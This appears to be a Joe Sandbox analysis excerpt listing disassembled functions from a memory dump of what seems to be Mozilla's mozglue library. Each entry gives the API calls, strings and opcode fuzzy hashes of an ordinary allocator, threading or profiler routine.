Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

